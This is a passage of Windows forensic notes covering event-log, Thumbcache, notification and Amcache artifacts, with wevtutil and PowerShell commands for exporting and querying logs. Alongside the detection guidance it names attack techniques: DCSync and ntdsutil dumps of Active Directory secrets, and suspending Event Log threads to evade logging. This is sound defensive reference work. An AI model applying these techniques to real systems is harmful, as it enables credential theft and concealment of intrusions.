                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `Microsoft-Windows-Kernel-PnP%4Device Management.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                     |   |
| <p><code>EVTX</code><br>-<br><code>Microsoft-Windows-Partition/Diagnostic</code></p>                                          | Devices and USB activity | Provider: `Microsoft-Windows-Partition`.                                                                                                                                                                                                                | <p>Event <code>1006</code>.<br><br>The event is generated when a device is plugged and unplugged with or without prior ejection.<br><br><strong>This event contains key relevant information, and notably information that are not available in other sources:</strong><br><br><strong>- Vendor and product names of the device.</strong><br><br><strong>- <code>vendor ID (VID)</code>, <code>product ID (PID)</code>, and (registry) <code>serial number</code> or location of the device</strong> (in the <code>ParentId</code> field).<br><br><strong>- A <code>volume id</code> for one of the device volume</strong> in the <code>RegistryId</code> field.<br><br>- (A version of) the device serial number (!= registry serial number).<br><br>- The <code>DeviceGUID</code> of the device in the <code>DiskId</code>, for correlation with other events.<br><br><strong>- The size in bytes of the device in the <code>Capacity</code> field. The capacity is set to 0 if the event match a removal.</strong><br><br><strong>- Raw dumps of the partition table</strong> (field <code>PartitionTable</code>), <strong><code>Master Boot Record (MBR)</code></strong> (field <code>Mbr</code>), <strong>and / or <code>Volume Boot Record (VBR)</code></strong> (field <code>VbrX</code>) if available. The <strong><code>VBR</code> dump can be used to reconstruct the <code>Volume Serial Number</code></strong> of the device.<br><br><strong>This event can be used to determine when a drive was plugged / unplugged and to retrieve the aforementioned information.</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `Microsoft-Windows-Partition%4Diagnostic.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                     |   |
| <p><code>EVTX</code><br>-<br><code>Microsoft-Windows-Ntfs/Operational</code></p>                                              | Devices and USB activity | <p>Provider: <code>Microsoft-Windows-Ntfs</code>.<br><br>These events are only generated for devices that have a <code>NTFS</code> volume.</p>                                                                                                          | <p>Event <code>142</code>: <code>Summary of disk space usage, since last event</code>.<br><br>> This event is generated with a limited delay following the plugin of the device, one occurrence for each volume(s) of the device.<br><br>Relevant information:<br>- The volume friendly name and associated drive letter.<br>- A <code>volume id</code> for one of the device volume.<br><br><strong>This event can thus be used to determine the volume friendly name(s) and drive letter(s) associated with a device, either using the <code>volume GUIDs</code> of the volumes on the device or time correlation with other events.</strong><br><br><br>Starting from Windows 11:<br><br>Event <code>4</code>: <code>The NTFS volume has been successfully mounted</code>.<br>Event <code>9</code>: <code>NTFS scanned entire volume bitmap</code>.<br>Event <code>10</code>: <code>NTFS cached run statistics</code>.<br>Event <code>300</code>: <code>The NTFS volume dismount has started</code>.<br>Event <code>303</code>: <code>The NTFS volume has been successfully dismounted</code>.<br><br>> These events are reliably generated when a device is plugged and unplugged with or without prior ejection.<br><br>Relevant information:<br>- The volume friendly name and associated drive letter.<br>- Vendor and product names of the device.<br>- (A version of) the device serial number (!= registry serial number).<br>- <code>DeviceGuid</code> (for correlation with other events).<br>- Whether the drive was ejected ("Reason: Explicit lock") or directly unplugged ("Reason: Surprise removal").<br><br><strong>These events can thus be used to:</strong><br><br><strong>- Determine when a device was plugged / unplugged</strong> (and if it was with or without prior ejection) <strong>and its associated volumes mounted / dismounted</strong><br><br><strong>- Identity the volume friendly name(s) and drive letter(s) associated with a device</strong>.</p>                                                               | `Microsoft-Windows-Ntfs%4Operational.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                                                                                                     |   |

### Anti-vius and Remote Administration/Access applications

The `ruler-project` references numerous [anti-virus products (20+)](https://ruler-project.github.io/ruler-project/RULER/av/) and [remote administration/access applications (15+)](https://ruler-project.github.io/ruler-project/RULER/remote/) artifacts.

### Other third-party applications

The [SANS institute "Windows Third-Party Apps Forensics" poster](https://www.sans.org/posters/windows-third-party-apps-forensics-poster/) can be consulted for a list of artefacts from a number of popular Windows third-party applications (also including anti-vius and remote administration/access applications).

| Name                                | Type                                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                   | Information / interpretation             | Location | Tool(s) |
| ----------------------------------- | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | -------- | ------- |
| `Azure`'s PowerShell / CLI activity | Interaction with Azure though the `Az` PowerShell module and `az` CLI utility. | <p>Folder <code>telemetry</code>: may contain information on <code>azurecli</code> commands (user Azure ID, raw command, etc.).<br><br>Folder <code>commands</code>: similar to <code>telemetry</code> folder, with less data on the executed <code>azure cli</code> commands.<br><br>Folder <code>ErrorRecords</code>: details on HTTP requests, and their associated response, that generated an error.</p> | `%SystemRoot%\Users\<USERNAME>\.azure\*` |          |         |

### Defense evasion

| Name                                                                                         | Type            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Information / interpretation                       | Location        | Tool(s) |
| -------------------------------------------------------------------------------------------- | --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------- | --------------- | ------- |
| <p><code>EVTX</code><br>-<br><code>Security.evtx</code><br>-<br>Security event log clear</p> | Defense evasion | <p>Generated upon the deletion of events in the <code>Security</code> logs.<br><br>The absence of event <code>1102</code> should however not be taken as a sign of integrity of the <code>Security</code> events, as the generation of this event can be bypassed. For instance, the threads of the <code>Event Log</code> service threads (hosted by <code>svchost.exe</code>) can be suspended to prevent events generation while the threads are suspended (even though all events will be written upon resuming of the threads).</p> | Event `1102`: `The audit log was cleared`          | `Security.evtx` |         |
| <p><code>EVTX</code><br>-<br><code>System.evtx</code><br>-<br>Security event log clear</p>   | Defense evasion | <p>Generated upon the deletion of events from event logs files (other than <code>Security.evtx</code>).<br><br></p>                                                                                                                                                                                                                                                                                                                                                                                                                      | Event `104`: `The <PROVIDER> log file was cleared` | `System.evtx`   |         |

### Others

| Name                                                                                                                            | Type                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Tool(s)                                                                                                                                                                 |
| ------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><code>Thumbs.db</code><br><br><code>Thumbcache</code></p>                                                                    | Thumbnail previews of files  | <p>The <code>Thumbs.db</code> and <code>Thumbcache</code> files contain cached thumbnail previews for files (pictures, some document and media file types) in folders that were interactively accessed with the <code>Windows Explorer</code>. The thumbnail previews are stored in these databases as it takes less system resources (CPU time and memory) to retrieve an already generated thumbnail as opposed to generating it every time the directory is accessed.<br><br>For a <code>Thumbs.db</code> file to be generated in a given folder, or for entries to be added to the central <code>Thumbcache</code> files, the access must have been done with some sort of files' thumbnail / icon preview enabled.<br><br>The cached thumbnail previews persist even after deletion of the associated files. Some document types, such as <code>PDF</code> files, will have their first page as their thumbnail preview.</p>                                                     | <p>The <code>Thumbs.db</code> files are stored in their associated folders, with one individual <code>Thumbs.db</code> file per folder (that was interactively accessed with files preview). However, since Windows Vista, <code>Thumbs.db</code> files are only generated for access through <code>UNC</code> paths (such as <code>\\\<HOST>\&#x3C;SHARE\_NAME>\&#x3C;FOLDER></code> or <code>\\\<HOST>\c$\&#x3C;FOLDER></code>) in the remote / share directory.<br><br>Each thumbnail created in a directory is represented in the <code>Thumbs.db</code> file as a small <code>JPEG</code> file, regardless of the file's original format. The images are resized to 96 × 96 pixels by default. As each <code>Thumbs.db</code> file is associated with a given directory, the location of the cached thumbnails can be easily deduced.<br><br>Starting with Windows Vista, the <code>Thumbcache</code> files centralize thumbnails in a central location. Each <code>Thumbcache</code> file, labeled <code>thumbcache\_\<RESOLUTION>.db</code>, contains thumbnails from all locations. The <code>\<RESOLUTION></code> indicate the resolution of the thumbnail previews, such as the <code>thumbcache\_1280.db</code> file for thumbnails in 1280 x 720 pixels resolution.<br><br>The location of the file linked to a thumbnail is not stored in the <code>Thumbcache</code> file. However, each thumbnail in the <code>Thumbcache</code> file is associated with an unique identifier <code>ThumbnailcacheID</code>. This identifier / hash can be used to retrieve the location of the associated file, mostly for non deleted files:<br>- By scanning and computing the identifier for every files on the volume. This requires the file to still be present on the volume.<br>- By searching the <code>Windows Search</code> database (<code>Windows.edb</code>) for the <code>ThumbnailcacheID</code>, as a table of this database notably references the file original full path and size. As the <code>Windows Search</code> database is updated in near real time and does not store information on deleted files, this also requires the original file to still be present.</p> | <p><code>Thumbs.db</code>: individual hidden files in their associated folders.<br><br><code>Thumbcache</code>:<br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Windows\Explorer\thumbcache\_\<RESOLUTION>.db</code> files.</p>                                                                                                                                                                                                                                                                                                                                                                                                                    | <p><a href="https://thumbsviewer.github.io/"><code>Thumbs Viewer</code></a><br><br><a href="https://thumbcacheviewer.github.io/"><code>Thumbcache Viewer</code></a></p> |
| <p><code>Windows Push Notifications (WPN)</code><br><br>Introduced in Windows 10.</p>                                           | Windows Push Notifications   | <p>The Windows Push Notification service allows applications to deliver / push notifications, in three differents forms:<br><br>- <code>Badge</code>, tiny symbol that appears in the corner of an application's taskbar / hidden icon. Examples: the number of unreaded messages on Teams, Discord or other instant messaging applications.<br><br>- <code>Tile</code>, rectangular shape that is displayed in the screen and linked to an application.<br><br>- <code>Toast</code>, rectangular shaped pop-up box that can appear for a limited time (5 seconds by default) at the bottom right of the screen or be sent directly to the Windows Action Center. Examples: instant message applications (such as Teams) notifying of a new message.<br><br>More information on the <code>Windows Push Notifications</code> can be found in the <a href="https://www.mdpi.com/2673-6756/2/1/7">"A Digital Forensic View of Windows 10 Notifications"</a> Digital Forensics paper.</p> | <p>Each notification is associated with a dedicated entry in the <code>Notification</code> table of the <code>wpndatabase.db</code> database. There are system-wide notifications and per-user notifications, stored in different databases (with one database per-user).<br><br>Each entry contains notably the arrival and expery time as well as a "payload" associated with the notification. For <code>toast notification</code>, the payload contains the content of the notification. For instant message application, or social media / instant message web application accessed through a webbrowser, the payload may contain the message received.<br><br>The notifications are short-lived and deleted from the database after their expiry time or following an end-user acknowledgement (closing of the pop-up or clearing from the Windows Action Center). The <code>wpndatabase.db</code> database thus provided very limited historical data. More information might be retrivable in the <code>Write-Ahead Logging (WAL)</code> file <code>wpndatabase.db-wal</code> and / or carved from the database (using tools such as <a href="https://github.com/bring2lite/bring2lite"><code>bring2lite</code></a> or <a href="https://github.com/pawlaszczyk/fqlite"><code>fqlite</code></a>).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>Per user database and <code>Write-Ahead Logging (WAL)</code> files:<br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db</code><br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-wal</code><br><br>System-wide database and <code>Write-Ahead Logging (WAL)</code> files:<br><code>%SystemDrive%:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db</code><br><code>%SystemDrive%:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-wal</code></p> |                                                                                                                                                                         |
| <p><code>EVTX</code><br>-<br><code>Microsoft-Windows-VHDMP-Operational.evtx</code><br>-<br><code>ISO</code> mounting events</p> | Phishing / malware execution | `ISO` image can be leveraged in phishing scenarios where the loader is packed in an `ISO` file to avoid the `Mark-of-the-Web` (on unpatched system).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p>Upon the mounting of an <code>ISO</code> image, the following events, containing the full path to the <code>ISO</code> and the responsible user, will be generated:<br><br>- Event <code>22</code>: <code>Starting to create the handle for the file backing virtual disk \<ISO\_PATH></code><br><br>- Event <code>23</code>: <code>Handle for the file backing virtual disk \<ISO\_PATH> created successfully</code><br><br>- Event <code>12</code>: <code>Handle for virtual disk \<ISO\_PATH> created successfully \[...]</code><br><br>- Event <code>25</code>: <code>Beginning to bring the \<ISO\_PATH> online (surface)</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `Microsoft-Windows-VHDMP-Operational.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                         |
| <p><code>EVTX</code><br>-<br><code>Application.evtx</code><br>-<br><code>ESENT</code> events</p>                                | AD post exploitation         | Active Directory `ntds.dit` dump with `ntdsutil`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | <p>Upon execution of the <code>ntdsutil</code> command to dump the Active Directory <code>ntds.dit</code> database, the following events (containing the <code>ntds</code> keyword) will be generated:<br><br>- Event <code>325</code>: <code>The database engine created a new database \[...]</code><br><br>- Event <code>326</code>: <code>The database engine attached a database \[...]</code><br><br>- Event <code>327</code>: <code>The database engine detached a database \[...]</code><br><br>- Event <code>206</code>: <code>A database location change was detected \[...]</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `Application.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                         |
| <p><code>EVTX</code><br>-<br><code>Security.evtx</code><br>-<br><code>DRSUAPI</code> replication</p>                            | AD post exploitation         | Active Directory `ntds.dit` dump through `DRSUAPI` replication functions (`DCSync`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p>Upon replication operations, such as the retrieval of Active Directory secrets (<code>DCSync</code> attack), the following events will be generated <em>if the operation was not conducted under a <code>Domain Controller</code> identity</em>:<br><br>- Event <code>4662</code>: <code>An operation was performed on an object</code> with the <code>Property</code> attribute equal to the <code>1131f6aa-9c07-11d1-f79f-00c04fc2dcd2</code> or <code>1131f6ad-9c07-11d1-f79f-00c04fc2dcd2</code> <code>GUID</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `Security.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                         |

### TODO

* IconCache.db
* Hidden local account HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
* Bitsadmin
  * EVTX: Microsoft-Windows-Bits-Client%4Operational.evtx 59
  * Persistent files: %SystemRoot%\ProgramData\Microsoft\Network\Downloader\ <https://www.sans.org/white-papers/39195/>
* Syscache hive
* Small memory dumps: hiberfil.sys, pagefile.sys, swapfile.sys
* Registry LOG Files

***

### References

<https://nasbench.medium.com/a-primer-on-event-tracing-for-windows-etw-997725c082bf>

<https://blog.1234n6.com/2018/10/available-artifacts-evidence-of.html>

SANS posters Windows forensics - <https://www.sans.org/posters/windows-forensic-analysis/>

<https://www.scitepress.org/papers/2017/64167/64167.pdf>

<http://windowsir.blogspot.com/2013/07/howto-determine-program-execution.html>

<https://www.sans.org/blog/opensavemru-and-lastvisitedmru/>

<https://andreafortuna.org/2018/05/23/forensic-artifacts-evidences-of-program-execution-on-windows-systems/>

<https://dfir.ru/2020/04/08/bam-internals/>

<https://cellebrite.com/en/analyzing-program-execution-windows-artifacts/>

<https://blog.1234n6.com/2018/10/available-artifacts-evidence-of.html>

<https://crucialsecurity.wordpress.com/2011/03/14/typedurls-part-1/>

<https://www.crowdstrike.com/blog/how-to-employ-featureusage-for-windows-10-taskbar-forensics/>

<https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/>

<https://learn.microsoft.com/en-us/windows/win32/shell/app-registration>

<https://thinkdfir.com/2020/10/23/when-did-recentapps-go/>

<https://df-stream.com/2017/10/recentapps/>

<https://github.com/volatilityfoundation/community/blob/master/ThomasChopitea/autoruns.py>

<https://www.istrosec.com/blog/windows-10-timeline/>

<https://kacos2000.github.io/WindowsTimeline/WindowsTimeline.pdf>

<https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/>

<https://www.youtube.com/watch?v=rioVumJB0Fo>

<https://www.youtube.com/watch?v=qxPoKNmnuIQ>

<https://www.13cubed.com/downloads/windows\\_registry\\_cheat\\_sheet.pdf>

<https://www.hecfblog.com/2013/08/daily-blog-67-understanding-artifacts.html>

<https://learn.microsoft.com/en-us/windows-hardware/drivers/storage/supporting-mount-manager-requests-in-a-storage-class-driver>

<https://www.sans.org/blog/computer-forensic-guide-to-profiling-usb-device-thumbdrives-on-win7-vista-and-xp/>

<http://windowsir.blogspot.com/2013/04/plugin-emdmgmt.html>

<https://www.hecfblog.com/2013/08/daily-blog-66-understanding-artifacts.html>

<http://website.bcmsystem.com/orion/wp-content/uploads/2019/05/Microsoft-Windows-10-USB-Forensic-Artefacts.pdf>

<https://lifars.com/wp-content/uploads/2020/04/LIFARS-WhitePaper-Windows-ShellBags-Forensics-Investigative-Value-of-Windows-ShellBags.pdf>

<https://aboutdfir.com/new-windows-11-pro-22h2-evidence-of-execution-artifact/>

<https://www.youtube.com/watch?v=rV8aErDj06A>

<https://www.netsurion.com/articles/following-a-users-logon-tracks-throughout-the-windows-domain>

<https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html>

<https://www.ntfs.com/>

<https://github.com/jschicht/Secure2Csv>

<https://www.forensicsmyanmar.com/2022/08/ntfs-index-attributes.html>

<https://dfir.ru/2021/01/10/standard\\_information-vs-file\\_name/>

<https://en.wikipedia.org/wiki/Windows\\_thumbnail\\_cache>

<https://thumbcacheviewer.github.io/>

<https://papers.ssrn.com/sol3/papers.cfm?abstract\\_id=2429795>

<https://www.13cubed.com/downloads/windows\\_browser\\_artifacts\\_cheat\\_sheet.pdf>

<https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4776>

<https://mandiant.com/resources/blog/digging-up-the-past-windows-registry-forensics-revisited>

<https://www.mdpi.com/2673-6756/2/1/7>


# Amcache

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

Location: `%systemroot%\AppCompat\Programs\Amcache.hve`

*`Amcache` is a replacement of the `RecentFileCache` (that was linked to DLL version `6.1.7600`).*

Yield information related to **programs execution**.

Very complex artefact, linked to an application compatibility feature that aim to maintain support of existing software to new versions of the Windows operating system (like the `Shimcache` artefact). `ProgramDataUpdater` (a task associated with the Application Experience Service) uses the registry file `Amcache.hve` to store data during process creation. The `Amcache` is a standalone registry hive, with multiple root keys that contain various types of data.

The `Amcache` behavior depends on the version of the associated libraries, and not the version of the operating system. The `Amcache` on an up-to-date Windows 7 and Windows 10 will thus behave the same way.

For a very comprehensive analysis of the `Amcache` artefact, and its evolution across different release of the underlying `DLL`, refer to the [ANSSI's ANALYSIS OF THE AMCACHE v2 white paper](https://www.ssi.gouv.fr/uploads/2019/01/anssi-coriin_2019-amcache_investigation.pdf).

### Information of interest

The `Amcache.hve` registry hive is split in a number of root keys, with keys being added, changed, or removed depending on the `Amcache` `DLLs` versions.

The following notable root keys can be of forensic interest:

* `File` then `InventoryApplicationFile` starting from the version `10.0.14913.1002` of the `Amcache` libraries (`AmcacheParser` outputs `AssociatedFileEntries` and `UnassociatedFileEntries`):
  * Data about program executions if they are shimmed, programs part of an installed application, or programs part of scanned directories (with out requiring execution of the associated programs).
  * Data available (depending on the `Amcache` libraries version): executable full path, program size, **`SHA1` of the first 30MB of the executable** in the `FileId` value, binary type (x86 versus x64), the compilation date of the program in the `LinkDate` value.
  * Additional data for entries associated with an installed application is available in the `InventoryApplication` key. The `ProgramId` value from the `InventoryApplicationFile` subkey of a given program matches the subkey's name under the `InventoryApplication` key of the associated application. The `InventoryApplication` key provide metadata information about the application: name, publisher, install date, etc.
  * For non up-to-date systems still using a `File` key, the last write time of an entry key under the `File` key coincides with the execution time of an executable that is not associated to an application. For executables that are part of an application, the last write time coincides with either the application installation time or the first execution if the executable needed shimming. For entries under the newer `InventoryApplicationFile` key, the last write time of the keys always coincides with an execution of `Microsoft Compatibility Appraiser` and is thus no longer a timestamp of execution time.
  * `AmcacheParser`'s `AssociatedFileEntries` output references programs associated with an application and `UnassociatedFileEntries` output references "loose" programs (that are not associated with an installed application).
* `InventoryDeviceContainer` and `InventoryDevicePnp` (`AmcacheParser` outputs `DeviceContainers` and `DevicePnp`):
  * Data about devices plugged in on the system.
  * Data available: device type (usb; Bluetooth, media, etc.), device friendly name, self reported description, manufacturer, associated driver, etc.
* `InventoryDriverBinary` (`AmcacheParser` output `DriveBinaries`):
  * Data about installed drivers.
  * Data available: driver name, full path, size, associated service name, compilation timestamp (`DriverTimestamp`), driver file last write timestamp, etc.
* `InventoryDriverPackage` (`AmcacheParser` output `DriverPackages`):
  * Data about drivers package file (INF file) that contains information about the driver.
  * Data available: driver package file name, path, last write timestamp, etc.
* `Programs` then `InventoryApplication` (`AmcacheParser` output `ProgramEntries`):
  * Data about installed programs, as referenced in the `Uninstall` and / or a `Run` key of the `SOFTWARE` hive.
  * Data available: application name, executable full path and SHA1, publisher, install date, etc.
* `InventoryApplicationShortcut` (`AmcacheParser` output `ShortCuts`):
  * Data about the shortcuts (`LNK` files) that were present at one time (and that may still be present or may have been removed) from a subset of scanned folders (Start Menu and / or Desktop folders).
  * Data available: full path of the shortcut. The last write timestamp of the associated subkey can also be a general indicator of when the activity occurred but does not seem to match any `MACB` timestamps of the shortcut file.

### Parsing

The PowerShell cmdlet `Get-ForensicAmcache` of the `PowerForensics` suite can be used to parse the `Amcache.hve` registry hive. The `AmcacheParser`, supporting Windows 10, utility can be used to parse exported `Amcache.hve` registry hive.

```
# Deploy the PowerShell PowerForensics module
.\PowerForensics.psd1
Import-Module .\PowerForensics.psd1

# Default to C:\Windows\AppCompat\Programs\Amcache.hve
Get-ForensicAmcache | Out-File <OUTPUT_FILE>

# From hive / mounted disk image
Get-ForensicAmcache -HivePath "<C:\Windows\AppCompat\Programs\Amcache.hve | EXPORTED_HIVE_PATH>" | Out-File <OUTPUT_FILE>

AmcacheParser.exe -f "<C:\Windows\AppCompat\Programs\Amcache.hve | EXPORTED_HIVE_PATH>" -i on --csv <OUTPUTDIR_PATH>
```


# EVTX

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Export Windows event logs

The entirety of the `C:\Windows\System32\winevt\Logs` directory can be copied to export all the Windows event logs EVTX hives. The event logs can also be exported through the Windows GUI `Event Viewer (eventvwr.msc)` application and the CLI `wevtutil` utilities. The PowerShell cmdlet `Get-WinEvent` does not provide a way to export logs in the EVTX format.

To be able to view some event logs, notably the `Security` event logs, the `Manage auditing and security log (SeSecurityPrivilege)` right is required. Note that this right also grant the ability to clear the event logs. Additionally, in order to remotely copy the `C:\Windows\System32\winevt\Logs` directory, Administrator privileges are required to access the `C$` share.

The following commands can be used to unitary export a event logs hive in the `evtx` format:

```
wevtutil epl <LOGNAME> <LOCAL_PATH | REMOTE_PATH>\<FILENAME.evtx>
wevtutil /r:<HOSTNAME | IP> /u:<DOMAIN | WORKGROUP>\<USERNAME> /p:<PASSWORD> epl <LOGNAME> <LOCAL_PATH | REMOTE_PATH>\<FILENAME.evtx>
```

The following batch script can be used to retrieve all Windows event logs from a remote specified target.

Usage:

```
export_logs.bat "<HOSTNAME | IP>" "<OUTPUTDIR_PATH>"
```

```
@echo off

REM GetEventLogs.cmd by Malcolm McCaffery
SETLOCAL ENABLEDELAYEDEXPANSION

SET remotePC=%1
SET OutputDir=%2

IF "%remotePC%" EQU "" set remotePC=%computername%

IF NOT EXIST %OutputDir% MD %OutputDir%

pushd "%OutputDir%"

echo Get Event Logs on System %remotePC%
for /F "delims=\" %%i IN ('wevtutil el /r:%remotePC%') DO (
echo Retreving Log %%i
for /F "tokens=1,2 delims=/" %%j IN ("%%i") DO (
   IF "%%k" EQU "" (
    SET OUTPUTFILE=%computername%-%%j.evtx
   ) ELSE (
   SET OUTPUTFILE=%computername%-%%j-%%k.evtx
   )
)
wevtutil epl "%%i" "!OUTPUTFILE!" /ow:true /r:%remotePC%
)

REM cleanup by deleting any empty event files…
for /R %%i IN (*.evtx) DO (
  echo Processing %%i
  REM if file is 69,632 bytes or less then delete it – don't want empty files
  IF %%~zi LEQ 69632 (
    echo empty event file…deleting…
    del "%%i" /q
  )
)

popd
echo.'
echo Completed - events stored in %OutputDir%
pause
```

### List and query Windows event logs

**GUI event logs viewers**

The Windows `Event Viewer` built-in application and the `Event Log Explorer` application can be used to analyze event logs through graphical application.

`Event Log Explorer` offers the possibility to separate loaded hives by system, parametrize and save advance filters and consolidate event logs hives from different systems.

**CLI utilities**

The PowerShell cmdlet `Get-WinEvent` and the `wevtutil` utility can be used to list available event log hives and filter event log, from both local or remote system.

The following commands can be used to enumerate the available event logs hives:

```
wevtutil el
wevtutil /r:<HOSTNAME | IP> /u:<DOMAIN | WORKGROUP>\<USERNAME> /p:<PASSWORD> el

Get-WinEvent -ListLog * | Where-Object { $_.RecordCount }
Get-WinEvent -Computer <HOSTNAME | IP> -Credential <PSCredential> -ListLog * | Where-Object { $_.RecordCount }
```

The following commands can be used to retrieve information and metadata about the specified event logs hives:

```
# Display configuration information: enabled, DACL, hive path, etc.
wevtutil gl <LOGNAME>
wevtutil /r:<HOSTNAME | IP> /u:<DOMAIN | WORKGROUP>\<USERNAME> /p:<PASSWORD> gl <LOGNAME>

# Display metadata information: creation time, last access / write time, number of events logged, hive size, etc.
wevtutil gli <LOGNAME>
wevtutil /r:<HOSTNAME | IP> /u:<DOMAIN | WORKGROUP>\<USERNAME> /p:<PASSWORD> gli <LOGNAME>

# Both configuration and metadata information at once
Get-WinEvent -ListLog <LOGNAME> | Format-List -Property *
Get-WinEvent -Computer <HOSTNAME | IP> -Credential <PSCredential> -ListLog <LOGNAME> | Format-List -Property *
```

The following commands can be used to filter the event logs.

The `wevtutil` utility supports only `XPath` queries. The Windows Event Viewer can be used to define a filter query through the GUI and export the filter in a XPath format.

```
wevtutil qe <LOGNAME> /q:"<XPATH_QUERY>"
wevtutil /r:<HOSTNAME | IP> /u:<DOMAIN | WORKGROUP>\<USERNAME> /p:<PASSWORD> qe <LOGNAME> /q:"<XPATH_QUERY>"

# Example query to find events matching the specified Event ID between two dates
# DATETIME = YYYY-MM-DDTHH:mm:SS
wevtutil qe <LOGNAME> /q:"*[System[(EventID=<EVENT_ID>) and TimeCreated[@SystemTime>='<DATETIME>' and @SystemTime<'<DATETIME>']]]"
```

The PowerShell cmdlet `Get-WinEvent` can be used to filter the event logs on the following attributes:

* LogName (`<String[]>`)
* Path (`<String[]>`)
* ID (`<Int32[]>`)
* StartTime (`<DateTime>`)
* EndTime (`<DateTime>`)
* UserID (`<SID>`)
* Data (`<String[]>`)

```
# Filter by event ID
Get-WinEvent -FilterHashtable @{Path="<HIVE_PATH>"; ID=<EVENT_ID | LIST_EVENT_IDs>} | Fl
Get-WinEvent -Computer <HOSTNAME | IP> -Credential <PSCredential> -FilterHashtable @{Path="<HIVE_PATH>"; ID=<EVENT_ID | LIST_EVENT_IDs>} | Fl

# Search the specified string in event data
Get-WinEvent -FilterHashtable @{Path="<HIVE_PATH>"; data="<STRING | LIST_STRINGs>"} | Fl
Get-WinEvent -Computer <HOSTNAME | IP> -Credential <PSCredential> -FilterHashtable @{Path="<HIVE_PATH>"; data="<STRING | LIST_STRINGs>"} | Fl
```

**Convert Windows evtx to text / csv format**

The Python utilities suite `python-evtx` can be used to parse and export to a text format Windows event log hives. The `EvtxECmd` utility can also be used to parse Windows event log hives into a CSV format.

